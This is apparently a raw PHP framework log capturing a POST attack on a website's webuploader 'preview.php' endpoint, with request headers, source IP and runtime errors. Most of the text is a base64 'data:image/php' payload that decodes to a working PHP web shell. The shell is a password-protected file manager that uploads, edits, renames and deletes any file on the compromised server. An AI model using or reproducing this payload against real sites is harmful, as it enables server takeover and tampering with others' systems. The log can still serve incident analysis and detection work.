'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:58+08:00 ] 116.213.36.234 POST www.51tianwei.com/Theme/assets/webuploader/0.1.5/server/preview.php [运行时间:0.002480s] [吞吐率:403.22req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 